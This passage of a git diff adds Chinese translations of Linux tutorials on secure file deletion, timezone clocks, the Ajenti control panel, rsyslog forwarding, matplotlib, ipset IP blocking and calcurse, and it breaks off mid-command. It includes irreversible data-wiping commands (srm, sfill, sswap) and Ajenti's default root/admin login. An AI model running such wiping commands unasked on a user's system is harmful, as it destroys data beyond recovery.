+擦除硬盘的目的是确保隐私数据不被他人看见。举个例子,一个公司可能预订了一些新的电脑,总经理决定将旧的电脑卖掉,然而,新的电脑拥有者可能会看到公司的一些机密或诸如信用卡号码,地址等顾客信息。幸好,公司的电脑技术人员可以在卖掉这些旧电脑之前,擦除这些硬盘。 + +为了安装擦除程序 secure-delete,键入 `sudo apt-get install secure-delete`,这个命令将会安装一个包含 4 个程序的程序集,用以确保被删除的文件不能被恢复。 + +- srm - 永久删除一个文件。使用方法: `srm -f ./secret_file.txt` +- sfill - 擦除空白空间。使用方法: `sfill -f /mount/point/of/partition` +- sswap - 擦除 swap 空间。使用方法: `sswap -f /dev/SWAP_DEVICE` + +假如电脑实际去清除那些删除的文件,那么就需要花费更长的时间去执行删除任务。将某些空间标记为空位是快速且容易的,但使得文件永远消失需要花费一定的时间。例如,擦除一个存储单元,可能需要花费几个小时的时间(根据磁盘容量大小)。总之,现在的系统工作的就挺好,因为即便用户清空了垃圾箱,他们仍然有另一次机会来改变他们当初的想法(或错误)。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/undelete-files-on-linux-systems.4316/ + +作者:[DevynCJohnson][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.org/members/devyncjohnson.4843/ +[1]:http://www.cgsecurity.org/wiki/TestDisk diff --git a/published/201502/20141204 The Easy Way to Keep Track of Multiple Time Zones in Ubuntu.md b/published/201502/20141204 The Easy Way to Keep Track of Multiple Time Zones in Ubuntu.md new file mode 100644 index 0000000000..57ff68b6d2 --- /dev/null +++ b/published/201502/20141204 The Easy Way to Keep Track of Multiple Time Zones in Ubuntu.md @@ -0,0 +1,63 @@ +Ubuntu中跟踪多个时区的简捷方法 +================================================================================ +![date-time](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/date-time.jpg) + +**无论我是要在醒来时发个关于澳大利亚的 Chromebook 销售已经售罄的推特,还是要记着和Ohso的半个开发商山姆陈进行Skype通话,我大脑都需要同时工作在多个时区下。** + +那里头有个问题,如果你认识我,你会知道我的脑容量也就那么丁点,跟金鱼差不多,里头却塞着像Windows Vista这样一个臃肿货(也就是,不是很好)。我几乎记不得昨天之前的事情,更记不得我的门和金门大桥脚之间的时间差! + +作为臂助,我使用一些小部件和菜单项来让我保持同步。在我常规工作日的空间里,我在多个操作系统间游弋,涵盖移动系统和桌面系统,但只有一个可以让我最快速便捷地设置“世界时钟”。 + +**它的名字就是我们标题上提到的那个。** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/timezones-300x180.jpg) + +### 添加世界时钟到Ubuntu日期/时间小应用 ### + +Unity中默认的日期-时间指示器提供了添加并查看多个时区的支持,不需要附加组件,不需要额外的包。 + +1. 点击时钟小应用,然后选择‘**时间和日期设置**’条目 +1. 在‘**时钟**’标签中,选中‘**其它位置的时间**’选框 +1. 点击‘**选择位置**’按钮 +1. 点击‘**+**’,然后输入位置名称 + +#### 其它桌面环境 #### + +**KDE Plasma**中默认的时钟小应用有类似的功能,其它功能如下: + +1. 在数字时钟小部件上右击,然后选择‘**数字时钟设置**’ +1. 点击‘**时区**’项 +1. 在搜索区输入城市名 +1. 点击‘**确定**’ + +**GNOME Shell**的可扩展特性可以看到有许多世界时钟选项可用,可以用它的默认时间表填补左边的空白,我个人喜欢‘[多个时钟][1]’。对于**Cinnamon**桌面而言也是一样的,它的‘面板小部件’仓库有丰富的可选部件,如超级顺滑的“**世界时钟日历**”。 + +![World Clock Calendar in Cinnamon 2.4](http://www.omgubuntu.co.uk/wp-content/uploads/2014/12/cinnamon-applet.jpg) + +*Cinnamon 2.4中的世界时钟日历* + +**XFCE**和**LXDE**就不那么慷慨了,除了自带的“工作区”作为**多个时钟**添加到面板外,每个都需要手动配置以指定位置。两个都支持‘指示器小部件’,所以,如果你不用Unity的话,你可以安装/添加单独的日期/时间指示器。 + +**Budgie**还刚初出茅庐,不足以胜任这种角落里的需求,因为Pantheon我还没试过——希望你们通过评论来让我知道得更多。 + +#### 桌面应用、部件和Conky主题 #### + +当然,面板小部件只是收纳其它国家多个时区的一种方式。如果你不满意通过面板去访问,那里还有各种各样的**桌面应用**可供使用,其中许多都可以跨版本,甚至跨平台使用。 + +**GNOME时钟**就是这样一个应用,在Ubuntu 14.04 LTS及其后续版本中,你可以通过Ubuntu软件中心直接安装。**Conky**是一个很有潜力的备选(尽管我还没发现有哪个预制主题为此目的设计),而其它像[日历时钟][2]这样轻量级的Chrome应用可以在任何安装有Chrome这个免费浏览器的地方工作。 + +**你也关注时区吗?如果是,你使用什么应用、采用什么方法或者小部件让它显示在顶层呢?** + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/12/add-time-zones-world-clock-ubuntu + +作者:[Joey-Elijah Sneddon][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://extensions.gnome.org/extension/605/multiclock/ +[2]:http://www.omgchrome.com/calendar-clock-chrome-app/ diff --git a/published/201502/20141205 What is a good free control panel for VPS.md b/published/201502/20141205 What is a good free control panel for VPS.md new file mode 100644 index 0000000000..dbd1759145 --- /dev/null +++ b/published/201502/20141205 What is a good free control panel for VPS.md @@ -0,0 +1,155 @@ +推荐一款不错的 VPS 控制面板:Ajenti +================================================================================ +任何有经验的Linux人员都认为没有任何一款控制面板可以打败纯命令行界面来管理[虚拟主机][1](VPS)。也有人争辩说好的控制面板还是应该有一席之地,因为顺滑的操作界面让常规管理操作通过点几下鼠标就可以完成。 + +至于控制面板,有那种强大的充满警铃和汽笛的商业控制面板,也有不同免费的但也强大多功能的免费开源面板替代品。这之中杰出的代表是[Ajenti][2]控制面板。 + +Ajenti可以让你很简单地配置不同的常规服务程序,如Apache/nginx、Samba、BIND、Squid、MySQL、cron、防火墙等等,对管理常规的 VPS 实例可以节省大量的时间。对于生产环境,Ajenti同样提供了插件和平台来支持虚拟 web 主机管理和自定义 web UI开发。 + +Ajenti有[双重授权][3];一个是针对个人、企业内部或者教育用途免费使用的AGPLv3。然而,如果你是一家托管企业或者硬件提供商,那么你需要购买商业授权来使用Ajenti作为商业服务。 + +### 在Linux上安装Ajenti ### + +为了简化安装,Ajenti为主流Linux发行版提供了自己的仓库。安装Ajenti要做的就是配置目标仓库,并用默认包管理器来安装。 + +安装前会生成用于SSL的一个RSA密钥和证书,Ajenti会在8000端口监听HTTPS的web请求。如果你正在使用防火墙,你需要在防火墙中允许8000端口访问。为了安全,最好默认禁止8000端口的公开访问,并添加你的少数IP地址到白名单中。 + +#### 在Debian上安装Ajenti #### + + $ wget http://repo.ajenti.org/debian/key -O- | sudo apt-key add - + $ sudo sh -c 'echo "deb http://repo.ajenti.org/debian main main debian" >> /etc/apt/sources.list' + $ sudo apt-get update + $ sudo apt-get install ajenti + +#### 在Ubuntu上安装Ajenti #### + + $ wget http://repo.ajenti.org/debian/key -O- | sudo apt-key add - + $ sudo sh -c 'echo "deb http://repo.ajenti.org/ng/debian main main ubuntu" >> /etc/apt/sources.list' + $ sudo apt-get update + $ sudo apt-get install ajenti + +#### 在 CentOS/RHEL或者Fedora上安装Ajenti #### + +在CentOS/RHEL上,首先[配置][4]EPEL仓库,接着运行下面的命令。在Fedora上,直接使用下面的命令。 + + $ wget http://repo.ajenti.org/ajenti-repo-1.0-1.noarch.rpm + $ sudo rpm -ivh ajenti-repo-1.0-1.noarch.rpm + $ sudo yum install ajenti + +接着配置防火墙。 + +在Fedora或者CentOS/RHEL 7上: + + $ sudo firewall-cmd --zone=public --add-port=8000/tcp --permanent + $ sudo firewall-cmd --reload + +在CentOS/RHEL 6上: + + $ sudo iptables -I INPUT -p tcp -m tcp --dport 8000 -j ACCEPT + $ sudo service iptables save + +### 访问Ajenti web界面 ### + +在访问Ajenti的web界面前,先确保启动了ajenti服务。 + + $ sudo service ajenti restart + +直接在浏览器中输入https://\:8000,你就会看到下面的Ajenti的登录界面。 + +![](https://farm8.staticflickr.com/7512/15712738197_eeccd0f9dd_z.jpg) + +默认的登录凭证是用户名“root”,密码“admin”。当你登录后,你会看到初始化的Ajenti菜单。 + +![](https://farm8.staticflickr.com/7498/15897850312_d2ca46fa4b_z.jpg) + +在左边面板的"SOFTWARE"选项下,你会看带一些已安装的服务。当你安装了任何Ajenti支持的服务端程序时,软件会在重启ajenti服务后被自动加入列表。 + + $ sudo service ajenti restart + +### 通过Ajenti web界面管理VPS ### + +Ajenti的web界面非常直观且易使用。下面是Ajenti功能的几个例子。 + +#### 可插入结构 #### + +Ajenti有许多特定应用的插件,这让AJenti可高度扩展化。当你在VPS上安装一款新软件时。相关的AJenti插件(如果有的话)会自动启用来管理软件。“Plugins”菜单会展示可用/启用的插件,以及和它们关联的软件。 + +![](https://farm8.staticflickr.com/7501/15872690086_26d05ea570_z.jpg) + +#### 包管理 #### + +Ajenti提供了一个web界面来安装和升级VPS上的包。 + +![](https://farm9.staticflickr.com/8571/15896505171_daf8c2d9db_z.jpg) + +#### 防火墙配置 #### + +Ajenti允许你用两种方法管理防火墙规则(使用iptables或者CSF)。一种方法是使用用户友好的web面板,另一种是直接编辑原始的防火墙规则。 + +![](https://farm8.staticflickr.com/7490/15276234634_a220f2a555_z.jpg) + +![](https://farm8.staticflickr.com/7499/15711196520_343d0668ff_z.jpg) + +#### 日志检查 #### + +你可以在Ajenti的web界面中浏览位于/var/log下的系统日志。 + +![](https://farm8.staticflickr.com/7529/15276234684_a5375c9b6d_z.jpg) + +#### 进程监控 #### + +你可以看见按照CPU和内存使用率排序的进程列表,如果需要的话,也可以干掉它们。 + +![](https://farm8.staticflickr.com/7556/15711008948_ed359c284d_z.jpg) + +#### 终端访问 #### + +如果需要更低层面的VPS访问,Ajenti提供了基于web的终端界面,你在这可以输入Linux命令。你也可以像下面那样在一个面板中打开多个终端。 + +![](https://farm8.staticflickr.com/7568/15896505251_8271ac16dd_z.jpg) + +#### Apache Web服务管理 #### + +你可以编辑Apache配置文件,并管理apache2服务。 + +![](https://farm8.staticflickr.com/7572/15711009108_bb806d2dcd_z.jpg) + +#### MySQL/MariaDB 管理 #### + +你可以访问MySQL/MariaDB服务并直接在上面执行原始SQL命令。 + +![](https://farm8.staticflickr.com/7580/15276234754_02375fd17b_z.jpg) + +#### Squid 配置 #### + +你可以配置Squid代理服务器的ACL、HTTP访问规则,过滤端口。 + +![](https://farm8.staticflickr.com/7568/15712738507_e2ef48b78f_z.jpg) + +#### 启动服务管理 #### + +你可以浏览、启动、停止、重启已安装的服务。 + +![](https://farm8.staticflickr.com/7538/15898503935_1edf5c67ae_z.jpg) + +### 总结 ### + +Ajenti是一款易于使用的服务器管理控制面板,可以加入你开发的[自定义插件][5]。然而请记住,任何好的控制面板都不是阻止你学习在控制面板之后[VPS][6]里发生了什么的原因。一款好的面板会在你完全了解你正在做的事情时成会一款真正节省时间的利器,并且不依赖于控制面版来达成你所需要的目标。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/free-control-panel-for-vps.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/go/digitalocean +[2]:http://ajenti.org/ +[3]:http://ajenti.org/licensing +[4]:http://linux.cn/article-2324-1.html +[5]:http://docs.ajenti.org/en/latest/dev/intro.html +[6]:http://xmodulo.com/go/digitalocean \ No newline at end of file diff --git a/published/201502/20141210 How to configure rsyslog client for remote logging on CentOS.md b/published/201502/20141210 How to configure rsyslog client for remote logging on CentOS.md new file mode 100644 index 0000000000..08cda11f5e --- /dev/null +++ b/published/201502/20141210 How to configure rsyslog client for remote logging on CentOS.md @@ -0,0 +1,104 @@ +CentOS上配置rsyslog客户端用以远程记录日志 +================================================================================ +**rsyslog**是一个开源工具,被广泛用于Linux系统以通过TCP/UDP协议转发或接收日志消息。rsyslog守护进程可以被配置成两种环境,一种是配置成日志收集服务器,rsyslog进程可以从网络中收集其它主机上的日志数据,这些主机会将日志配置为发送到另外的远程服务器。rsyslog的另外一个用法,就是可以配置为客户端,用来过滤和发送内部日志消息到本地文件夹(如/var/log)或一台可以路由到的远程rsyslog服务器上。 + +假定你的网络中已经有一台[已经配置好并启动的][1]rsyslog服务器,本指南将为你展示如何来设置CentOS系统将其内部日志消息路由到一台远程rsyslog服务器上。这将大大改善你的系统磁盘空间的使用,尤其是当你还没有一个用于/var目录的独立的大分区。 + +### 步骤一: 安装Rsyslog守护进程 ### + +在CentOS 6和7上,rsyslog守护进程已经预先安装了。要验证rsyslog是否已经安装到你的CentOS系统上,请执行如下命令: + + # rpm -qa | grep rsyslog + # rsyslogd -v + +![](https://farm8.staticflickr.com/7502/15988316295_ac2e07e7f3_z.jpg) + +如果处于某种原因,rsyslog守护进程没有出现在你的系统中,请使用以下命令来安装: + + # yum install rsyslog + +### 步骤二: 配置Rsyslog守护进程为客户端 ### + +接下来的步骤,是要将你的CentOS机器转变成rsyslog客户端,将其所有内部日志消息发送到远程中央日志服务器上。 + +要实现该功能,请使用你喜爱的文本编辑器打开位于/etc路径下的rsyslog主配置文件: + + # nano /etc/rsyslog.conf + +开启文件用于编辑后,你需要添加以下声明到文件底部。将IP地址替换为你的远程rsyslog服务器的IP地址。 + + *.* @192.168.1.25:514 + +上面的声明告诉rsyslog守护进程,将系统上各个设备的各种日志消息路由到远程rsyslog服务器(192.168.1.25)的UDP端口514。 + +如果出于某种原因,你需要更为可靠的协议,如TCP,而rsyslog服务器也被配置为监听TCP连接,你必须在远程主机的IP地址前添加一个额外的@字符,像下面这样: + + *.* @@192.168.1.25:514 + +注意,你也可以将rsyslog服务器的IP地址替换成它的主机名(FQDN)。 + +如果你只想要转发服务器上的指定设备的日志消息,比如说内核设备,那么你可以在rsyslog配置文件中使用以下声明。 + + kern.* @192.168.1.25:514 + +修改配置文件后,你需要重启进程以激活修改: + +**CentOS 7:** + + # systemctl restart rsyslog.service + +**CentOS 6:** + + # service rsyslog restart + +####非 syslog 日志的转发 + +在另外一种环境中,让我们假定你已经在机器上安装了一个名为“foobar”的应用程序,它会在/var/log下生成foobar.log日志文件。现在,你想要将它的日志定向到rsyslog服务器,这可以通过像下面这样在rsyslog配置文件中加载imfile模块来实现。 + +首先,加载imfile模块,这只需做一次。 + + module(load="imfile" PollingInterval="5") + +然后,指定日志文件的路径以便imfile模块可以检测到: + + input(type="imfile" + File="/var/log/foobar.log" + Tag="foobar" + Severity="error" + Facility="local7") + +最后,定向local7设备到远程rsyslog服务器: + + local7.* @192.168.1.25:514 + +别忘了重启rsyslog进程哦! + +### 步骤三: 让Rsyslog进程自动启动 ### + +要让rsyslog客户端在每次系统重启后自动启动,请运行以下命令: + +**CentOS 7:** + + # systemctl enable rsyslog.service + +**CentOS 6:** + + # chkconfig rsyslog on + +### 小结 ### + +在本教程中,我演示了如何将CentOS系统转变成rsyslog客户端以强制它发送日志消息到远程rsyslog服务器。这里我假定rsyslog客户端和服务器之间的连接是安全的(如,在有防火墙保护的公司网络中)。不管在任何情况下,都不要配置rsyslog客户端将日志消息通过不安全的网络转发,或者,特别是通过互联网转发,因为syslog协议是一个明文协议。要进行安全传输,可以考虑使用[TLS/SSL][2]来加密日志消息的传输。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/configure-rsyslog-client-centos.html + +作者:[Caezsar M][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/caezsar +[1]:http://xmodulo.com/configure-syslog-server-linux.html +[2]:http://www.rsyslog.com/doc/rsyslog_tls.html diff --git a/published/201502/20141211 How to use matplotlib for scientific plotting on Linux.md b/published/201502/20141211 How to use matplotlib for scientific plotting on Linux.md new file mode 100644 index 0000000000..00ae499ed7 --- /dev/null +++ b/published/201502/20141211 How to use matplotlib for scientific plotting on Linux.md @@ -0,0 +1,164 @@ +在Linux中使用matplotlib进行科学画图 +================================================================================ + +如果你想要在Linxu中获得一个高效、自动化、高质量的科学画图的解决方案,应该考虑尝试下matplotlib库。Matplotlib是基于python的开源科学测绘包,基于python软件基金会许可证发布。大量的文档和例子、集成了Python和Numpy科学计算包、以及自动化能力,是作为Linux环境中进行科学画图的可靠选择的几个原因。这个教程将提供几个用matplotlib画图的例子。 + +###特性### + +- 支持众多的图表类型,如:bar,box,contour,histogram,scatter,line plots.... +- 基于python的语法 +- 集成Numpy科学计算包 +- 数据源可以是 python 的列表、键值对和数组 +- 可定制的图表格式(坐标轴缩放、标签位置及标签内容等) +- 可定制文本(字体,大小,位置...) +- 支持TeX格式(等式,符号,希腊字体...) +- 与IPython相兼容(允许在 python shell 中与图表交互) +- 自动化(使用 Python 循环创建图表) +- 用Python 的循环迭代生成图片 +- 保存所绘图片格式为图片文件,如:png,pdf,ps,eps,svg等 + +基于Python语法的matplotlib是其许多特性和高效工作流的基础。世面上有许多用于绘制高质量图的科学绘图包,但是这些包允许你直接在你的Python代码中去使用吗?除此以外,这些包允许你创建可以保存为图片文件的图片吗?Matplotlib允许你完成所有的这些任务。从而你可以节省时间,使用它你能够花更少的时间创建更多的图片。 + +###安装### +安装Python和Numpy包是使用Matplotlib的前提,安装Numpy的指引请见[该链接][1]。 + + +可以通过如下命令在Debian或Ubuntu中安装Matplotlib: + + $ sudo apt-get install python-matplotlib + +在Fedora或CentOS/RHEL环境则可用如下命令: + + $ sudo yum install python-matplotlib + + +###Matplotlib 例子### + +本教程会提供几个绘图例子演示如何使用matplotlib: + +- 离散图和线性图 +- 柱状图 +- 饼状图 + +在这些例子中我们将用Python脚本来执行Mapplotlib命令。注意numpy和matplotlib模块需要通过import命令在脚本中进行导入。 + +np为nuupy模块的命名空间引用,plt为matplotlib.pyplot的命名空间引用: + + import numpy as np + import matplotlib.pyplot as plt + + +###例1:离散和线性图### + +第一个脚本,script1.py 完成如下任务: + +- 创建3个数据集(xData,yData1和yData2) +- 创建一个宽8英寸、高6英寸的图(赋值1) +- 设置图画的标题、x轴标签、y轴标签(字号均为14) +- 绘制第一个数据集:yData1为xData数据集的函数,用圆点标识的离散蓝线,标识为"y1 data" +- 绘制第二个数据集:yData2为xData数据集的函数,采用红实线,标识为"y2 data" +- 把图例放置在图的左上角 +- 保存图片为PNG格式文件 + +script1.py的内容如下: + + import numpy as np + import matplotlib.pyplot as plt + + xData = np.arange(0, 10, 1) + yData1 = xData.__pow__(2.0) + yData2 = np.arange(15, 61, 5) + plt.figure(num=1, figsize=(8, 6)) + plt.title('Plot 1', size=14) + plt.xlabel('x-axis', size=14) + plt.ylabel('y-axis', size=14) + plt.plot(xData, yData1, color='b', linestyle='--', marker='o', label='y1 data') + plt.plot(xData, yData2, color='r', linestyle='-', label='y2 data') + plt.legend(loc='upper left') + plt.savefig('images/plot1.png', format='png') + + +所画之图如下: + +![](https://farm8.staticflickr.com/7529/15927002365_f5ae11cf02_z.jpg) + + +###例2:柱状图### + +第二个脚本,script2.py 完成如下任务: + +- 创建一个包含1000个随机样本的正态分布数据集。 +- 创建一个宽8英寸、高6英寸的图(赋值1) +- 设置图的标题、x轴标签、y轴标签(字号均为14) +- 用samples这个数据集画一个40个柱状,边从-10到10的柱状图 +- 添加文本,用TeX格式显示希腊字母mu和sigma(字号为16) +- 保存图片为PNG格式。 + +script2.py代码如下: + + import numpy as np + import matplotlib.pyplot as plt + + mu = 0.0 + sigma = 2.0 + samples = np.random.normal(loc=mu, scale=sigma, size=1000) + plt.figure(num=1, figsize=(8, 6)) + plt.title('Plot 2', size=14) + plt.xlabel('value', size=14) + plt.ylabel('counts', size=14) + plt.hist(samples, bins=40, range=(-10, 10)) + plt.text(-9, 100, r'$\mu$ = 0.0, $\sigma$ = 2.0', size=16) + plt.savefig('images/plot2.png', format='png') + + +结果见如下链接: + +![](https://farm8.staticflickr.com/7531/15304765024_1cc271b6e0_z.jpg) + + +###例3:饼状图### + +第三个脚本,script3.py 完成如下任务: + +- 创建一个包含5个整数的列表 +- 创建一个宽6英寸、高6英寸的图(赋值1) +- 添加一个长宽比为1的轴图 +- 设置图的标题(字号为14) +- 用data列表画一个包含标签的饼状图 +- 保存图为PNG格式 + +脚本script3.py的代码如下: + + import numpy as np + import matplotlib.pyplot as plt + + data = [33, 25, 20, 12, 10] + plt.figure(num=1, figsize=(6, 6)) + plt.axes(aspect=1) + plt.title('Plot 3', size=14) + plt.pie(data, labels=('Group 1', 'Group 2', 'Group 3', 'Group 4', 'Group 5')) + plt.savefig('images/plot3.png', format='png') + + +结果如下链接所示: + +![](https://farm8.staticflickr.com/7504/15926356092_7c3e5217aa_z.jpg) + + +###总结### + +这个教程提供了几个用matplotlib科学画图包进行画图的例子,Matplotlib是在Linux环境中用于解决科学画图的绝佳方案,表现在其无缝地和Python、Numpy连接、自动化能力,和提供多种自定义的高质量的画图产品。matplotlib包的文档和例子详见[这里][2]。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/matplotlib-scientific-plotting-linux.html + +作者:[Joshua Reed][a] +译者:[ideas4u](https://github.com/ideas4u) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/joshua +[1]:http://xmodulo.com/numpy-scientific-computing-linux.html +[2]:http://matplotlib.org/ diff --git a/published/201502/20141219 How to block unwanted IP addresses on Linux efficiently.md b/published/201502/20141219 How to block unwanted IP addresses on Linux efficiently.md new file mode 100644 index 0000000000..feb53945b0 --- /dev/null +++ b/published/201502/20141219 How to block unwanted IP addresses on Linux efficiently.md @@ -0,0 +1,163 @@ +如何在 Linux 下大量屏蔽恶意 IP 地址 +================================================================================ + +很多情况下,你可能需要在Linux下屏蔽IP地址。比如,作为一个终端用户,你可能想要免受间谍软件或者IP追踪的困扰。或者当你在运行P2P软件时。你可能想要过滤反P2P活动的网络链接。如果你是一名系统管理员,你可能想要禁止垃圾IP地址访问你们的公司邮件服务器。或者你因一些原因想要禁止某些国家访问你的web服务。在许多情况下,然而,你的IP地址屏蔽列表可能会很快地增长到几万的IP。该如何处理这个? + +### Netfilter/IPtables 的问题 ### + +在Linux中,可以很简单地用netfilter/iptables框架禁止IP地址: + + $ sudo iptables -A INPUT -s 1.1.1.1 -p TCP -j DROP + +如果你想要完全屏蔽一个IP地址段,你可以用下面的命令很简单地做到: + + $ sudo iptables -A INPUT -s 1.1.2.0/24 -p TCP -j DROP + +然而,当你有1000个独立IP地址,且不带CIDR(无类别域间路由)前缀,你该怎么做?你要有1000条iptable规则!这显然这并不适于大规模屏蔽。 + + $ sudo iptables -A INPUT -s 1.1.1.1 -p TCP -j DROP + $ sudo iptables -A INPUT -s 2.2.2.2 -p TCP -j DROP + $ sudo iptables -A INPUT -s 3.3.3.3 -p TCP -j DROP + . . . . + +### 什么是IP集? ### + +这时候就是[IP集][1]登场了。IP集是一个内核特性,它允许多个(独立)IP地址、MAC地址或者甚至是端口号被编码和有效地存储在位图/哈希内核数据结构中。一旦IP集创建之后,你可以创建一条iptables规则来匹配这个集合。 + +你马上就会看见IP集合的好处了,它可以让你用一条iptable规则匹配多个ip地址!你可以用多个IP地址和端口号的方式来构造IP集,并且可以动态地更新规则而没有性能影响。 + +### 在Linux中安装IPset工具 ### + +为了创建和管理IP集,你需要使用称为ipset的用户空间工具。 + +要在Debian、Ubuntu或者Linux Mint上安装: + + $ sudo apt-get install ipset + +Fedora或者CentOS/RHEL 7上安装: + + $ sudo yum install ipset + +### 使用IPset命令禁止IP ### + +让我通过简单的示例告诉你该如何使用ipset命令。 + +首先,让我们创建一条新的IP集,名为banthis(名字任意): + + $ sudo ipset create banthis hash:net + +第二个参数(hash:net)是必须的,代表的是集合的类型。IP集有[多个类型][2]。hash:net类型的IP集使用哈希来存储多个CIDR块。如果你想要在一个集合中存储单独的IP地址,你可以使用hash:ip类型。 + +一旦创建了一个IP集之后,你可以用下面的命令来检查: + + $ sudo ipset list + +![](https://farm8.staticflickr.com/7483/15380353464_825dbc45c2_z.jpg) + +这显示了一个可用的IP集合列表,并有包含了集合成员的详细信息。默认上,每个IP集合可以包含65536个元素(这里是CIDR块)。你可以通过追加"maxelem N"选项来增加限制。 + + $ sudo ipset create banthis hash:net maxelem 1000000 + +现在让我们来增加IP块到这个集合中: + + $ sudo ipset add banthis 1.1.1.1/32 + $ sudo ipset add banthis 1.1.2.0/24 + $ sudo ipset add banthis 1.1.3.0/24 + $ sudo ipset add banthis 1.1.4.10/24 + +你会看到集合成员已经改变了。 + + $ sudo ipset list + +![](https://farm8.staticflickr.com/7518/15380353474_4d6b9dbf63_z.jpg) + +现在是时候去创建一个使用IP集的iptables规则了。这里的关键是使用"-m set --match-set "选项。 + +现在让我们创建一条让之前那些IP块不能通过80端口访问web服务的iptable规则。可以通过下面的命令: + + $ sudo iptables -I INPUT -m set --match-set banthis src -p tcp --destination-port 80 -j DROP + +如果你愿意,你可以保存特定的IP集到一个文件中,以后可以从文件中还原: + + $ sudo ipset save banthis -f banthis.txt + $ sudo ipset destroy banthis + $ sudo ipset restore -f banthis.txt + +上面的命令中,我使用了destory选项来删除一个已有的IP集来看看我是否可以还原它。 + +### 自动IP地址禁用 ### + +现在你应该看到了IP集合的强大了。维护IP黑名单是一件繁琐和费时的工作。实际上,有很多免费或者收费的服务可以来帮你完成这个。一个额外的好处是,让我们看看如何自动将IP黑名单加到IP集中。 + +首先让我们从[iblocklist.com][3]得到免费的黑名单,这个网站有不同的免费和收费的名单。免费的版本是P2P格式。 + +接下来我要使用一个名为iblocklist2ipset的开源Python工具来将P2P格式的黑名单转化成IP集。 + +首先,你需要安装了pip(参考[这个指导][4]来安装pip)。 + +使用的下面命令安装iblocklist2ipset。 + + $ sudo pip install iblocklist2ipset + +在一些发行版如Fedora,你可能需要运行: + + $ sudo python-pip install iblocklist2ipset + +现在到[iblocklist.com][5],抓取任何一个P2P列表的URL(比如"level1"列表)。 + +![](https://farm8.staticflickr.com/7523/15976824856_80632f35e1_z.jpg) + +粘帖URL到下面的命令中。 + + $ iblocklist2ipset generate \ + --ipset banthis "http://list.iblocklist.com/?list=ydxerpxkpcfqjaybcssw&fileformat=p2p&archiveformat=gz" \ + > banthis.txt + +上面的命令运行之后,你会得到一个名为banthis.txt的文件。如果查看它的内容,你会看到像这些: + + create banthis hash:net family inet hashsize 131072 maxelem 237302 + add banthis 1.2.4.0/24 + add banthis 1.2.8.0/24 + add banthis 1.9.75.8/32 + add banthis 1.9.96.105/32 + add banthis 1.9.102.251/32 + add banthis 1.9.189.65/32 + add banthis 1.16.0.0/14 + +你可以用下面的ipset命令来加载这个文件: + + $ sudo ipset restore -f banthis.txt + +现在可以查看自动创建的IP集: + + $ sudo ipset list banthis + +在写这篇文章时候,“level1”类表包含了237,000个屏蔽的IP列表。你可以看到很多IP地址已经加入到IP集中了。 + +最后,创建一条iptables命令来屏蔽这些坏蛋! + +### 总结 ### + +这篇文章中,我描述了你该如何用强大的ipset来屏蔽不想要的IP地址。同时结合了第三方工具iblocklist2ipset,这样你就可以流畅地维护你的IP屏蔽列表了。那些对ipset的性能提升好奇的人,下图显示了iptables在使用和不使用ipset的基准测试结果。 + +![](https://farm8.staticflickr.com/7575/15815220998_e1935c94c0_z.jpg) + +告诉我你多么喜欢这个。:-) + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/block-unwanted-ip-addresses-linux.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://ipset.netfilter.org/ +[2]:http://ipset.netfilter.org/features.html +[3]:https://www.iblocklist.com/lists.php +[4]:http://ask.xmodulo.com/install-pip-linux.html +[5]:https://www.iblocklist.com/lists.php +[6]:http://daemonkeeper.net/781/mass-blocking-ip-addresses-with-ipset/ \ No newline at end of file diff --git a/published/201502/20141219 How to schedule appointments and to-do tasks in a Linux terminal.md b/published/201502/20141219 How to schedule appointments and to-do tasks in a Linux terminal.md new file mode 100644 index 0000000000..1e2d5c39cd --- /dev/null +++ b/published/201502/20141219 How to schedule appointments and to-do tasks in a Linux terminal.md @@ -0,0 +1,120 @@ +在Linux终端下使用 calcurse 安排约会和待办事项 +================================================================================ +如果你是一个享受linux终端的系统管理员,但同样需要一种方法来安排每天最重要的任务、约会和会议,你会发现[calcurse][1]是一个很有用的工具。calcurse包含了日历、一个待办事项管理、一个调度程序和一个可配置的通知系统,这些都集成进了一个软件中,基于的都是ncurse的接口。同时,它不会限制你在终端中,你可以将你的日历和笔记导出成可以打印的格式。 + +本篇文章我们会探索如何在Linux上安装calcurse,并且教你如何利用它的特性。 + +### 在Linux上安装Culcurse ### + +calcurse在大多数Linux发行版的标准仓库都有。万一在你的发行版上没有(比如CentOS/RHEL),只要你安装了gcc和ncurse开发文件后就可以很简单地从源码安装。 + +Debian、Ubuntu或者Linux Mint + + # aptitude install calcurse + +Fedora + + # yum install calcurse + +CentOS/RHEL + + # yum install gcc ncurses-devel + # wget http://calcurse.org/files/calcurse-3.2.1.tar.gz + # tar xvfvz 